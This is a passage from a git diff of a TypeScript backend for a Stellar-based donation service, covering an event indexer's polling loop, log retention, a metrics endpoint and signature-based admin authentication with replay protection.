=> Promise { + if (WATCHED_CONTRACT_IDS.length === 0) { + // Expected on a fresh local setup before contracts are deployed, not a + // bug — pollOnce() no-ops until at least one contract id is set. Logged + // once here (rather than every poll) so it's visible without being noisy. + console.warn( + 'indexer: NGO_REGISTRY_CONTRACT_ID and DONATION_VAULT_CONTRACT_ID are both unset — no-op until at least one is set. See ENVIRONMENT.md.', + ); + } + + // Each poll schedules the next one only after it settles, rather than + // firing on a fixed setInterval. Two things fall out of that: polls can + // never overlap however slow an RPC is, and a failing poll controls how + // long until the next attempt instead of the interval timer overriding it. + let timer: NodeJS.Timeout | undefined; + let inFlight: Promise | undefined; + let indexerLock: IndexerLock | undefined; + let lockWaitLogged = false; + let consecutiveFailures = 0; + let stopped = false; + + function scheduleNextPoll(): void { + if (stopped) { + return; + } + const delay = backoffDelayMs(consecutiveFailures); + timer = setTimeout(() => { + runPoll(); + }, delay); + } + + function runPoll(): void { + if (stopped) { + return; + } + + inFlight = (async () => { + try { + if (indexerLock && !indexerLock.isHeld()) { + await indexerLock.release(); + indexerLock = undefined; + } + if (!indexerLock) { + indexerLock = await tryAcquireIndexerLock(); + if (!indexerLock) { + if (!lockWaitLogged) { + console.info('indexer: another worker holds the advisory lock; waiting'); + lockWaitLogged = true; + } + return; + } + lockWaitLogged = false; + console.info('indexer: acquired advisory lock'); + } + if (stopped || !indexerLock.isHeld()) return; + + await pollOnce(handleEvent); + consecutiveFailures = 0; + consecutivePollFailures = 0; + } catch (err: unknown) { + consecutiveFailures += 1; + consecutivePollFailures += 1; + + if (consecutivePollFailures >= INDEXER_FAILURE_ESCALATION_THRESHOLD) { + console.error('indexer poll failure threshold exceeded', { + consecutiveFailures: consecutivePollFailures, + error: err, + }); + } else { + console.error( + `indexer poll failed (${consecutiveFailures} in a row) — ` + + `retrying in ${backoffDelayMs(consecutiveFailures)}ms`, + err, + ); + } + } finally { + inFlight = undefined; + scheduleNextPoll(); + } + })(); + } + + runPoll(); + + return async (): Promise => { + stopped = true; + clearTimeout(timer); + await inFlight; + await indexerLock?.release(); + indexerLock = undefined; + }; +} diff --git a/src/maintenance/logRetention.ts b/src/maintenance/logRetention.ts index e0aa155..01f5c25 100644 --- a/src/maintenance/logRetention.ts +++ b/src/maintenance/logRetention.ts @@ -1,51 +1,51 @@ -import type { FastifyInstance } from 'fastify'; - -import { prisma } from '../db.js'; - -const DAY_MS = 24 * 60 * 60 * 1000; -const DEFAULT_RETENTION_DAYS = 90; - -function retentionDays(): number { - const configured = Number(process.env.LOG_RETENTION_DAYS); - return Number.isSafeInteger(configured) && configured > 0 - ? configured - : DEFAULT_RETENTION_DAYS; -} - -export async function pruneOldLogs( - now = new Date(), -): Promise<{ notifications: number; deadLetters: number }> { - const cutoff = new Date(now.getTime() - retentionDays() * DAY_MS); - const [notifications, deadLetters] = await Promise.all([ - prisma.notificationLog.deleteMany({ where: { createdAt: { lt: cutoff } } }), - // Unresolved events may still be needed for recovery and are never expired. - prisma.indexerDeadLetter.deleteMany({ where: { resolvedAt: { lt: cutoff } } }), - ]); - - return { notifications: notifications.count, deadLetters: deadLetters.count }; -} - -export function registerLogRetention(app: FastifyInstance): void { - let timer: NodeJS.Timeout | undefined; - - app.addHook('onReady', async () => { - const run = async () => { - try { - const removed = await pruneOldLogs(); - if (removed.notifications || removed.deadLetters) { - console.info('pruned expired logs', removed); - } - } catch (error) { - console.error('failed to prune expired logs', error); - } - }; - - await run(); - timer = setInterval(() => void run(), DAY_MS); - timer.unref(); - }); - - app.addHook('onClose', async () => { - if (timer) clearInterval(timer); - }); -} +import type { FastifyInstance } from 'fastify'; + +import { prisma } from '../db.js'; + +const DAY_MS = 24 * 60 * 60 * 1000; +const DEFAULT_RETENTION_DAYS = 90; + +function retentionDays(): number { + const configured = Number(process.env.LOG_RETENTION_DAYS); + return Number.isSafeInteger(configured) && configured > 0 + ? configured + : DEFAULT_RETENTION_DAYS; +} + +export async function pruneOldLogs( + now = new Date(), +): Promise<{ notifications: number; deadLetters: number }> { + const cutoff = new Date(now.getTime() - retentionDays() * DAY_MS); + const [notifications, deadLetters] = await Promise.all([ + prisma.notificationLog.deleteMany({ where: { createdAt: { lt: cutoff } } }), + // Unresolved events may still be needed for recovery and are never expired. + prisma.indexerDeadLetter.deleteMany({ where: { resolvedAt: { lt: cutoff } } }), + ]); + + return { notifications: notifications.count, deadLetters: deadLetters.count }; +} + +export function registerLogRetention(app: FastifyInstance): void { + let timer: NodeJS.Timeout | undefined; + + app.addHook('onReady', async () => { + const run = async () => { + try { + const removed = await pruneOldLogs(); + if (removed.notifications || removed.deadLetters) { + console.info('pruned expired logs', removed); + } + } catch (error) { + console.error('failed to prune expired logs', error); + } + }; + + await run(); + timer = setInterval(() => void run(), DAY_MS); + timer.unref(); + }); + + app.addHook('onClose', async () => { + if (timer) clearInterval(timer); + }); +} diff --git a/src/metrics.ts b/src/metrics.ts index 6016f24..f6b1648 100644 --- a/src/metrics.ts +++ b/src/metrics.ts @@ -1,155 +1,155 @@ -import { performance } from 'node:perf_hooks'; - -type HttpKey = `${string}\u0000${string}\u0000${number}`; - -const HTTP_DURATION_BUCKETS = [0.005, 0.01, 0.025, 0.05, 0.1, 0.25, 0.5, 1, 2.5, 5, 10]; -const httpRequests = new Map(); -const httpDuration = new Map< - HttpKey, - { count: number; sum: number; buckets: number[] } ->(); -const notificationDeliveries = new Map<'success' | 'failure', number>(); -const processStartTimeSeconds = Date.now() / 1000 - process.uptime(); - -let indexerCheckpointLedger = 0; -let indexerLatestLedger = 0; -let indexerEventsProcessed = 0; -let indexerEventsDeadLettered = 0; -let indexerEventsSkipped = 0; - -function labels(method: string, route: string, statusCode: number): string { - return `method="${method}",route="${route.replaceAll('"', '\\"')}",status_code="${statusCode}"`; -} - -export function recordHttpRequest( - method: string, - route: string, - statusCode: number, - durationSeconds: number, -): void { - const key: HttpKey = `${method}\u0000${route}\u0000${statusCode}`; - httpRequests.set(key, (httpRequests.get(key) ?? 0) + 1); - const current = httpDuration.get(key) ?? { - count: 0, - sum: 0, - buckets: HTTP_DURATION_BUCKETS.map(() => 0), - }; - current.count += 1; - current.sum += durationSeconds; - HTTP_DURATION_BUCKETS.forEach((bucket, index) => { - if (durationSeconds <= bucket) current.buckets[index] += 1; - }); - httpDuration.set(key, current); -} - -export function recordIndexerPosition(checkpointLedger: number, latestLedger: number): void { - indexerCheckpointLedger = checkpointLedger; - indexerLatestLedger = latestLedger; -} - -export function recordIndexerEventProcessed(): void { - indexerEventsProcessed += 1; -} - -export function recordIndexerEventDeadLettered(): void { - indexerEventsDeadLettered += 1; -} - -/** Counts confirmed skip-ahead operations; the RPC does not reveal how many events were missed. */ -export function recordIndexerEventsSkipped(): void { - indexerEventsSkipped += 1; -} - -export function recordNotificationDelivery(outcome: 'success' | 'failure'): void { - notificationDeliveries.set(outcome, (notificationDeliveries.get(outcome) ?? 0) + 1); -} - -export function renderMetrics(): string { - const lines = [ - '# HELP streamgive_http_requests_total Total HTTP requests handled.', - '# TYPE streamgive_http_requests_total counter', - ]; - - for (const [key, count] of httpRequests) { - const [method, route, statusCode] = key.split('\u0000'); - lines.push( - `streamgive_http_requests_total{${labels(method, route, Number(statusCode))}} ${count}`, - ); - } - - lines.push( - '# HELP streamgive_http_request_duration_seconds HTTP request duration in seconds.', - '# TYPE streamgive_http_request_duration_seconds histogram', - ); - for (const [key, value] of httpDuration) { - const [method, route, statusCode] = key.split('\u0000'); - const metricLabels = labels(method, route, Number(statusCode)); - HTTP_DURATION_BUCKETS.forEach((bucket, index) => { - lines.push( - `streamgive_http_request_duration_seconds_bucket{${metricLabels},le="${bucket}"} ${value.buckets[index]}`, - ); - }); - lines.push( - `streamgive_http_request_duration_seconds_bucket{${metricLabels},le="+Inf"} ${value.count}`, - `streamgive_http_request_duration_seconds_sum{${metricLabels}} ${value.sum}`, - `streamgive_http_request_duration_seconds_count{${metricLabels}} ${value.count}`, - ); - } - - const memory = process.memoryUsage(); - const cpu = process.cpuUsage(); - lines.push( - '# HELP process_cpu_seconds_total Total user and system CPU time spent in seconds.', - '# TYPE process_cpu_seconds_total counter', - `process_cpu_seconds_total ${(cpu.user + cpu.system) / 1_000_000}`, - '# HELP process_start_time_seconds Start time of the process since the Unix epoch in seconds.', - '# TYPE process_start_time_seconds gauge', - `process_start_time_seconds ${processStartTimeSeconds}`, - '# HELP process_resident_memory_bytes Resident memory size in bytes.', - '# TYPE process_resident_memory_bytes gauge', - `process_resident_memory_bytes ${memory.rss}`, - '# HELP nodejs_heap_size_total_bytes Total size of the V8 heap in bytes.', - '# TYPE nodejs_heap_size_total_bytes gauge', - `nodejs_heap_size_total_bytes ${memory.heapTotal}`, - '# HELP nodejs_heap_size_used_bytes Used size of the V8 heap in bytes.', - '# TYPE nodejs_heap_size_used_bytes gauge', - `nodejs_heap_size_used_bytes ${memory.heapUsed}`, - '# HELP nodejs_external_memory_bytes Memory used by C++ objects bound to JavaScript objects.', - '# TYPE nodejs_external_memory_bytes gauge', - `nodejs_external_memory_bytes ${memory.external}`, - '# HELP nodejs_arraybuffer_bytes Memory allocated for ArrayBuffers and SharedArrayBuffers.', - '# TYPE nodejs_arraybuffer_bytes gauge', - `nodejs_arraybuffer_bytes ${memory.arrayBuffers}`, - '# HELP nodejs_eventloop_utilization Event loop utilization since process start.', - '# TYPE nodejs_eventloop_utilization gauge', - `nodejs_eventloop_utilization ${performance.eventLoopUtilization().utilization}`, - '# HELP streamgive_indexer_checkpoint_ledger Last ledger checkpointed by the indexer.', - '# TYPE streamgive_indexer_checkpoint_ledger gauge', - `streamgive_indexer_checkpoint_ledger ${indexerCheckpointLedger}`, - '# HELP streamgive_indexer_latest_ledger Latest ledger observed from Stellar RPC.', - '# TYPE streamgive_indexer_latest_ledger gauge', - `streamgive_indexer_latest_ledger ${indexerLatestLedger}`, - '# HELP streamgive_indexer_lag_ledgers Difference between the latest and checkpoint ledgers.', - '# TYPE streamgive_indexer_lag_ledgers gauge', - `streamgive_indexer_lag_ledgers ${Math.max(0, indexerLatestLedger - indexerCheckpointLedger)}`, - '# HELP streamgive_indexer_events_processed_total Events successfully processed by the indexer.', - '# TYPE streamgive_indexer_events_processed_total counter', - `streamgive_indexer_events_processed_total ${indexerEventsProcessed}`, - '# HELP streamgive_indexer_events_dead_lettered_total Events stored as dead letters.', - '# TYPE streamgive_indexer_events_dead_lettered_total counter', - `streamgive_indexer_events_dead_lettered_total ${indexerEventsDeadLettered}`, - '# HELP streamgive_indexer_events_skipped_total Confirmed out-of-range skip-ahead operations.', - '# TYPE streamgive_indexer_events_skipped_total counter', - `streamgive_indexer_events_skipped_total ${indexerEventsSkipped}`, - '# HELP streamgive_notification_deliveries_total Webhook notification delivery attempts.', - '# TYPE streamgive_notification_deliveries_total counter', - ); - - for (const outcome of ['success', 'failure'] as const) { - lines.push( - `streamgive_notification_deliveries_total{outcome="${outcome}"} ${notificationDeliveries.get(outcome) ?? 0}`, - ); - } - - return `${lines.join('\n')}\n`; -} +import { performance } from 'node:perf_hooks'; + +type HttpKey = `${string}\u0000${string}\u0000${number}`; + +const HTTP_DURATION_BUCKETS = [0.005, 0.01, 0.025, 0.05, 0.1, 0.25, 0.5, 1, 2.5, 5, 10]; +const httpRequests = new Map(); +const httpDuration = new Map< + HttpKey, + { count: number; sum: number; buckets: number[] } +>(); +const notificationDeliveries = new Map<'success' | 'failure', number>(); +const processStartTimeSeconds = Date.now() / 1000 - process.uptime(); + +let indexerCheckpointLedger = 0; +let indexerLatestLedger = 0; +let indexerEventsProcessed = 0; +let indexerEventsDeadLettered = 0; +let indexerEventsSkipped = 0; + +function labels(method: string, route: string, statusCode: number): string { + return `method="${method}",route="${route.replaceAll('"', '\\"')}",status_code="${statusCode}"`; +} + +export function recordHttpRequest( + method: string, + route: string, + statusCode: number, + durationSeconds: number, +): void { + const key: HttpKey = `${method}\u0000${route}\u0000${statusCode}`; + httpRequests.set(key, (httpRequests.get(key) ?? 0) + 1); + const current = httpDuration.get(key) ?? { + count: 0, + sum: 0, + buckets: HTTP_DURATION_BUCKETS.map(() => 0), + }; + current.count += 1; + current.sum += durationSeconds; + HTTP_DURATION_BUCKETS.forEach((bucket, index) => { + if (durationSeconds <= bucket) current.buckets[index] += 1; + }); + httpDuration.set(key, current); +} + +export function recordIndexerPosition(checkpointLedger: number, latestLedger: number): void { + indexerCheckpointLedger = checkpointLedger; + indexerLatestLedger = latestLedger; +} + +export function recordIndexerEventProcessed(): void { + indexerEventsProcessed += 1; +} + +export function recordIndexerEventDeadLettered(): void { + indexerEventsDeadLettered += 1; +} + +/** Counts confirmed skip-ahead operations; the RPC does not reveal how many events were missed. */ +export function recordIndexerEventsSkipped(): void { + indexerEventsSkipped += 1; +} + +export function recordNotificationDelivery(outcome: 'success' | 'failure'): void { + notificationDeliveries.set(outcome, (notificationDeliveries.get(outcome) ?? 0) + 1); +} + +export function renderMetrics(): string { + const lines = [ + '# HELP streamgive_http_requests_total Total HTTP requests handled.', + '# TYPE streamgive_http_requests_total counter', + ]; + + for (const [key, count] of httpRequests) { + const [method, route, statusCode] = key.split('\u0000'); + lines.push( + `streamgive_http_requests_total{${labels(method, route, Number(statusCode))}} ${count}`, + ); + } + + lines.push( + '# HELP streamgive_http_request_duration_seconds HTTP request duration in seconds.', + '# TYPE streamgive_http_request_duration_seconds histogram', + ); + for (const [key, value] of httpDuration) { + const [method, route, statusCode] = key.split('\u0000'); + const metricLabels = labels(method, route, Number(statusCode)); + HTTP_DURATION_BUCKETS.forEach((bucket, index) => { + lines.push( + `streamgive_http_request_duration_seconds_bucket{${metricLabels},le="${bucket}"} ${value.buckets[index]}`, + ); + }); + lines.push( + `streamgive_http_request_duration_seconds_bucket{${metricLabels},le="+Inf"} ${value.count}`, + `streamgive_http_request_duration_seconds_sum{${metricLabels}} ${value.sum}`, + `streamgive_http_request_duration_seconds_count{${metricLabels}} ${value.count}`, + ); + } + + const memory = process.memoryUsage(); + const cpu = process.cpuUsage(); + lines.push( + '# HELP process_cpu_seconds_total Total user and system CPU time spent in seconds.', + '# TYPE process_cpu_seconds_total counter', + `process_cpu_seconds_total ${(cpu.user + cpu.system) / 1_000_000}`, + '# HELP process_start_time_seconds Start time of the process since the Unix epoch in seconds.', + '# TYPE process_start_time_seconds gauge', + `process_start_time_seconds ${processStartTimeSeconds}`, + '# HELP process_resident_memory_bytes Resident memory size in bytes.', + '# TYPE process_resident_memory_bytes gauge', + `process_resident_memory_bytes ${memory.rss}`, + '# HELP nodejs_heap_size_total_bytes Total size of the V8 heap in bytes.', + '# TYPE nodejs_heap_size_total_bytes gauge', + `nodejs_heap_size_total_bytes ${memory.heapTotal}`, + '# HELP nodejs_heap_size_used_bytes Used size of the V8 heap in bytes.', + '# TYPE nodejs_heap_size_used_bytes gauge', + `nodejs_heap_size_used_bytes ${memory.heapUsed}`, + '# HELP nodejs_external_memory_bytes Memory used by C++ objects bound to JavaScript objects.', + '# TYPE nodejs_external_memory_bytes gauge', + `nodejs_external_memory_bytes ${memory.external}`, + '# HELP nodejs_arraybuffer_bytes Memory allocated for ArrayBuffers and SharedArrayBuffers.', + '# TYPE nodejs_arraybuffer_bytes gauge', + `nodejs_arraybuffer_bytes ${memory.arrayBuffers}`, + '# HELP nodejs_eventloop_utilization Event loop utilization since process start.', + '# TYPE nodejs_eventloop_utilization gauge', + `nodejs_eventloop_utilization ${performance.eventLoopUtilization().utilization}`, + '# HELP streamgive_indexer_checkpoint_ledger Last ledger checkpointed by the indexer.', + '# TYPE streamgive_indexer_checkpoint_ledger gauge', + `streamgive_indexer_checkpoint_ledger ${indexerCheckpointLedger}`, + '# HELP streamgive_indexer_latest_ledger Latest ledger observed from Stellar RPC.', + '# TYPE streamgive_indexer_latest_ledger gauge', + `streamgive_indexer_latest_ledger ${indexerLatestLedger}`, + '# HELP streamgive_indexer_lag_ledgers Difference between the latest and checkpoint ledgers.', + '# TYPE streamgive_indexer_lag_ledgers gauge', + `streamgive_indexer_lag_ledgers ${Math.max(0, indexerLatestLedger - indexerCheckpointLedger)}`, + '# HELP streamgive_indexer_events_processed_total Events successfully processed by the indexer.', + '# TYPE streamgive_indexer_events_processed_total counter', + `streamgive_indexer_events_processed_total ${indexerEventsProcessed}`, + '# HELP streamgive_indexer_events_dead_lettered_total Events stored as dead letters.', + '# TYPE streamgive_indexer_events_dead_lettered_total counter', + `streamgive_indexer_events_dead_lettered_total ${indexerEventsDeadLettered}`, + '# HELP streamgive_indexer_events_skipped_total Confirmed out-of-range skip-ahead operations.', + '# TYPE streamgive_indexer_events_skipped_total counter', + `streamgive_indexer_events_skipped_total ${indexerEventsSkipped}`, + '# HELP streamgive_notification_deliveries_total Webhook notification delivery attempts.', + '# TYPE streamgive_notification_deliveries_total counter', + ); + + for (const outcome of ['success', 'failure'] as const) { + lines.push( + `streamgive_notification_deliveries_total{outcome="${outcome}"} ${notificationDeliveries.get(outcome) ?? 0}`, + ); + } + + return `${lines.join('\n')}\n`; +} diff --git a/src/middleware/adminAuth.ts b/src/middleware/adminAuth.ts index c61fa49..d994d07 100644 --- a/src/middleware/adminAuth.ts +++ b/src/middleware/adminAuth.ts @@ -1,212 +1,212 @@ -import { Keypair } from '@stellar/stellar-sdk'; -import type { FastifyReply, FastifyRequest } from 'fastify'; -import { createHash } from 'node:crypto'; - -const MAX_CLOCK_SKEW_MS = 5 * 60 * 1000; - -/** Timestamps are Unix epoch milliseconds (`Date.now()`). A value whose - * magnitude is characteristic of epoch seconds (e.g. 1700000000) would otherwise - * be silently treated as a timestamp from 1970 and rejected as stale, so we - * detect and report that case explicitly. This threshold is well below any - * plausible millisecond timestamp (after 2001) and well above any plausible - * seconds timestamp (before year 33658). */ -const SECONDS_TIMESTAMP_MAXMAGNI = 100000000000; - -/** ed25519 signatures are always 64 bytes. A decode that yields any other - * length means the encoding guess was wrong, not that the key was. */ -const ED25519_SIGNATURE_BYTES = 64; - -// SEP-53 ("Sign and Verify Messages"): a wallet's generic message-signing -// call doesn't sign the raw bytes you hand it — it signs -// SHA256(prefix + message), where the fixed prefix below stops a message -// signature from ever being mistaken for (or replayed as) a transaction -// signature. Skipping this prefix/hash step, which the initial version of -// this file did, means the verification below would never succeed against -// a real wallet's signature. -const SEP53_PREFIX = 'Stellar Signed Message:\n'; - -const usedSignatures = new Map(); - -function pruneUsedSignatures(now = Date.now()): void { - for (const [key, seenAt] of usedSignatures) { - if (now - seenAt > MAX_CLOCK_SKEW_MS) usedSignatures.delete(key); - } -} - -// Keep request handling independent of cache size. The timer is unreferenced -// so it does not keep a short-lived process (or a test runner) alive. -const replayCachePruner = setInterval(pruneUsedSignatures, 60_000); -replayCachePruner.unref(); - -/** Exported so tests can sign fixtures the same way a real wallet would, - * rather than re-deriving (and risking drift from) this exact construction. */ -export function sep53Hash(message: string): Buffer { - const encoded = Buffer.concat([ - Buffer.from(SEP53_PREFIX, 'utf-8'), - Buffer.from(message, 'utf-8'), - ]); - return createHash('sha256').update(encoded).digest(); -} - -/** - * The Stellar public keys allowed to sign admin requests. - * - * `ADMIN_ADDRESSES` holds a comma-separated list, so a deployment can have - * more than one admin key at once — several operators, or an overlap while - * rotating a key. The older single-key `ADMIN_ADDRESS` still works and is - * unioned in, so an existing deployment can add a second admin without - * migrating its config. Blank entries (a trailing comma, a stray space in - * a pasted list) are dropped rather than kept as an address nothing can - * ever match. - * - * Read per-request, not cached at module load: env vars set after this - * module is first imported (as tests do) would otherwise never be seen, - * since a module-level const only evaluates once. - */ -function configuredAdminAddresses(): string[] { - const listed = (process.env.ADMIN_ADDRESSES ?? '').split(','); - const single = process.env.ADMIN_ADDRESS ? [process.env.ADMIN_ADDRESS] : []; - const cleaned = [...single, ...listed] - .map((address) => address.trim()) - .filter((address) => address.length > 0); - return [...new Set(cleaned)]; -} - -/** - * Returns the lower-case hex SHA-256 digest of `body`. The empty string - * is the canonical "no body" sentinel — callers that have no body must pass - * an empty Buffer (or omit the argument), which produces the well-known - * SHA-256 of zero bytes: - * e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 - * - * Exported so the test helper and any future client SDK can hash bodies the - * same way the middleware does. - */ -export function bodyHash(body: Buffer | string = ''): string { - return createHash('sha256').update(body).digest('hex'); -} - -/** - * Verifies the caller controls one of the configured admin keypairs, - * without a private key ever crossing the wire: the client signs - * `${method}:${url}:${timestamp}:${bodyHash}` with their Stellar wallet - * (via its generic message-signing call, not transaction-signing) and sends - * the pieces as headers. The timestamp both binds the signature to this one - * request and bounds replay — a captured header set is only useful for a - * few minutes. The body hash prevents an attacker who intercepts a valid - * signed request from replaying it with a different request body. - * - * `bodyHash` is the lower-case hex SHA-256 of the raw request body, or the - * SHA-256 of an empty buffer for requests that carry no body (GET, DELETE, - * etc.). The value is always included so there is no ambiguity about the - * payload format. - * - * The `X-Admin-Timestamp` value must be a Unix epoch timestamp in - * *milliseconds* (`Date.now()`), not seconds. Seconds-based values are - * rejected with `timestamp_unit_mismatch` so the client gets a clear signal - * instead of a misleading `stale_signature`. - */ -export async function requireAdminSignature( - request: FastifyRequest, - reply: FastifyReply, -): Promise { - const allowedAdmins = configuredAdminAddresses(); - - if (allowedAdmins.length === 0) { - reply.code(503).send({ error: 'admin_auth_not_configured' }); - return; - } - - const address = request.headers['x-admin-address']; - const signatureB64 = request.headers['x-admin-signature']; - const timestampHeader = request.headers['x-admin-timestamp']; - - if ( - typeof address !== 'string' || - typeof signatureB64 !== 'string' || - typeof timestampHeader !== 'string' - ) { - reply.code(401).send({ error: 'unauthorized' }); - return; - } - - // Checked before any signature work: a caller claiming an address that - // isn't on the allow-list is rejected no matter what they signed, so a - // forged/self-signed request never reaches the crypto below. - if (!allowedAdmins.includes(address)) { - reply.code(401).send({ error: 'unauthorized' }); - return; - } - - const timestamp = Number(timestampHeader); - if (!Number.isFinite(timestamp)) { - reply.code(401).send({ error: 'stale_signature' }); - return; - } - - // A seconds-based timestamp is always orders of magnitude smaller than a - // milliseconds one, so detect it before the skew check and report the unit - // mismatch explicitly rather than as a stale signature. - if (timestamp > 0 && timestamp < SECONDS_TIMESTAMP_MAXMAGNI) { - reply.code(401).send({ error: 'timestamp_unit_mismatch' }); - return; - } - - if (Math.abs(Date.now() - timestamp) > MAX_CLOCK_SKEW_MS) { - reply.code(401).send({ error: 'stale_signature' }); - return; - } - - // Include the body hash in the signed payload so the body cannot be - // swapped out on a replayed/intercepted request. Fastify exposes the raw - // body as `request.rawBody` when the `rawBody` plugin/option is active; - // fall back to an empty Buffer (= hash of zero bytes) for bodyless - // requests and for frameworks where rawBody is not populated. - const rawBody: Buffer | string = - (request as FastifyRequest & { rawBody?: Buffer | string }).rawBody ?? ''; - const payload = `${request.method}:${request.url}:${timestampHeader}:${bodyHash(rawBody)}`; - - try { - const keypair = Keypair.fromPublicKey(address); - const hash = sep53Hash(payload); - - // SEP-53 pins down what gets signed, but not how the wallet hands the - // signature back, and wallets differ: some return base64, some hex. - // Trying both costs nothing in trust — the signature still has to - // verify against the claimed (allow-listed) address either way — and - // avoids an opaque 401 that looks identical to a genuinely forged one. - const candidates: Array<[string, Buffer]> = [ - ['base64', Buffer.from(signatureB64, 'base64')], - ['hex', Buffer.from(signatureB64, 'hex')], - ]; - - const replayKey = `${address}:${request.method}:${request.url}:${timestampHeader}`; - const now = Date.now(); - if (usedSignatures.has(replayKey)) { - reply.code(401).send({ error: 'replayed_signature' }); - return; - } - - const matched = candidates.find( - ([, sig]) => sig.length === ED25519_SIGNATURE_BYTES && keypair.verify(hash, sig), - ); - - if (!matched) { - request.log.warn( - { - payload, - signatureChars: signatureB64.length, - base64Bytes: candidates[0][1].length, - hexBytes: candidates[1][1].length, - }, - 'admin signature did not verify', - ); - reply.code(401).send({ error: 'unauthorized' }); - return; - } - usedSignatures.set(replayKey, now); - } catch (err) { - request.log.warn({ err }, 'admin signature check threw'); - reply.code(401).send({ error: 'unauthorized' }); - } -} +import { Keypair } from '@stellar/stellar-sdk'; +import type { FastifyReply, FastifyRequest } from 'fastify'; +import { createHash } from 'node:crypto'; + +const MAX_CLOCK_SKEW_MS = 5 * 60 * 1000; + +/** Timestamps are Unix epoch milliseconds (`Date.now()`). A value whose + * magnitude is characteristic of epoch seconds (e.g. 1700000000) would otherwise + * be silently treated as a timestamp from 1970 and rejected as stale, so we + * detect and report that case explicitly. This threshold is well below any + * plausible millisecond timestamp (after 2001) and well above any plausible + * seconds timestamp (before year 33658). */ +const SECONDS_TIMESTAMP_MAXMAGNI = 100000000000; + +/** ed25519 signatures are always 64 bytes. A decode that yields any other + * length means the encoding guess was wrong, not that the key was. */ +const ED25519_SIGNATURE_BYTES = 64; + +// SEP-53 ("Sign and Verify Messages"): a wallet's generic message-signing +// call doesn't sign the raw bytes you hand it — it signs +// SHA256(prefix + message), where the fixed prefix below stops a message +// signature from ever being mistaken for (or replayed as) a transaction +// signature. Skipping this prefix/hash step, which the initial version of +// this file did, means the verification below would never succeed against +// a real wallet's signature. +const SEP53_PREFIX = 'Stellar Signed Message:\n'; + +const usedSignatures = new Map(); + +function pruneUsedSignatures(now = Date.now()): void { + for (const [key, seenAt] of usedSignatures) { + if (now - seenAt > MAX_CLOCK_SKEW_MS) usedSignatures.delete(key); + } +} + +// Keep request handling independent of cache size. The timer is unreferenced +// so it does not keep a short-lived process (or a test runner) alive. +const replayCachePruner = setInterval(pruneUsedSignatures, 60_000); +replayCachePruner.unref(); + +/** Exported so tests can sign fixtures the same way a real wallet would, + * rather than re-deriving (and risking drift from) this exact construction. */ +export function sep53Hash(message: string): Buffer { + const encoded = Buffer.concat([ + Buffer.from(SEP53_PREFIX, 'utf-8'), + Buffer.from(message, 'utf-8'), + ]); + return createHash('sha256').update(encoded).digest(); +} + +/** + * The Stellar public keys allowed to sign admin requests. + * + * `ADMIN_ADDRESSES` holds a comma-separated list, so a deployment can have + * more than one admin key at once — several operators, or an overlap while + * rotating a key. The older single-key `ADMIN_ADDRESS` still works and is + * unioned in, so an existing deployment can add a second admin without + * migrating its config. Blank entries (a trailing comma, a stray space in + * a pasted list) are dropped rather than kept as an address nothing can + * ever match. + * + * Read per-request, not cached at module load: env vars set after this + * module is first imported (as tests do) would otherwise never be seen, + * since a module-level const only evaluates once. + */ +function configuredAdminAddresses(): string[] { + const listed = (process.env.ADMIN_ADDRESSES ?? '').split(','); + const single = process.env.ADMIN_ADDRESS ? [process.env.ADMIN_ADDRESS] : []; + const cleaned = [...single, ...listed] + .map((address) => address.trim()) + .filter((address) => address.length > 0); + return [...new Set(cleaned)]; +} + +/** + * Returns the lower-case hex SHA-256 digest of `body`. The empty string + * is the canonical "no body" sentinel — callers that have no body must pass + * an empty Buffer (or omit the argument), which produces the well-known + * SHA-256 of zero bytes: + * e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 + * + * Exported so the test helper and any future client SDK can hash bodies the + * same way the middleware does. + */ +export function bodyHash(body: Buffer | string = ''): string { + return createHash('sha256').update(body).digest('hex'); +} + +/** + * Verifies the caller controls one of the configured admin keypairs, + * without a private key ever crossing the wire: the client signs + * `${method}:${url}:${timestamp}:${bodyHash}` with their Stellar wallet + * (via its generic message-signing call, not transaction-signing) and sends + * the pieces as headers. The timestamp both binds the signature to this one + * request and bounds replay — a captured header set is only useful for a + * few minutes. The body hash prevents an attacker who intercepts a valid + * signed request from replaying it with a different request body. + * + * `bodyHash` is the lower-case hex SHA-256 of the raw request body, or the + * SHA-256 of an empty buffer for requests that carry no body (GET, DELETE, + * etc.). The value is always included so there is no ambiguity about the + * payload format. + * + * The `X-Admin-Timestamp` value must be a Unix epoch timestamp in + * *milliseconds* (`Date.now()`), not seconds. Seconds-based values are + * rejected with `timestamp_unit_mismatch` so the client gets a clear signal + * instead of a misleading `stale_signature`. + */ +export async function requireAdminSignature( + request: FastifyRequest, + reply: FastifyReply, +): Promise { + const allowedAdmins = configuredAdminAddresses(); + + if (allowedAdmins.length === 0) { + reply.code(503).send({ error: 'admin_auth_not_configured' }); + return; + } + + const address = request.headers['x-admin-address']; + const signatureB64 = request.headers['x-admin-signature']; + const timestampHeader = request.headers['x-admin-timestamp']; + + if ( + typeof address !== 'string' || + typeof signatureB64 !== 'string' || + typeof timestampHeader !== 'string' + ) { + reply.code(401).send({ error: 'unauthorized' }); + return; + } + + // Checked before any signature work: a caller claiming an address that + // isn't on the allow-list is rejected no matter what they signed, so a + // forged/self-signed request never reaches the crypto below. + if (!allowedAdmins.includes(address)) { + reply.code(401).send({ error: 'unauthorized' }); + return; + } + + const timestamp = Number(timestampHeader); + if (!Number.isFinite(timestamp)) { + reply.code(401).send({ error: 'stale_signature' }); + return; + } + + // A seconds-based timestamp is always orders of magnitude smaller than a + // milliseconds one, so detect it before the skew check and report the unit + // mismatch explicitly rather than as a stale signature. + if (timestamp > 0 && timestamp < SECONDS_TIMESTAMP_MAXMAGNI) { + reply.code(401).send({ error: 'timestamp_unit_mismatch' }); + return; + } + + if (Math.abs(Date.now() - timestamp) > MAX_CLOCK_SKEW_MS) { + reply.code(401).send({ error: 'stale_signature' }); + return; + } + + // Include the body hash in the signed payload so the body cannot be + // swapped out on a replayed/intercepted request. Fastify exposes the raw + // body as `request.rawBody` when the `rawBody` plugin/option is active; + // fall back to an empty Buffer (= hash of zero bytes) for bodyless + // requests and for frameworks where rawBody is not populated. + const rawBody: Buffer | string = + (request as FastifyRequest & { rawBody?: Buffer | string }).rawBody ?? ''; + const payload = `${request.method}:${request.url}:${timestampHeader}:${bodyHash(rawBody)}`; + + try { + const keypair = Keypair.fromPublicKey(address); + const hash = sep53Hash(payload); + + // SEP-53 pins down what gets signed, but not how the wallet hands the + // signature back, and wallets differ: some return base64, some hex. + // Trying both costs 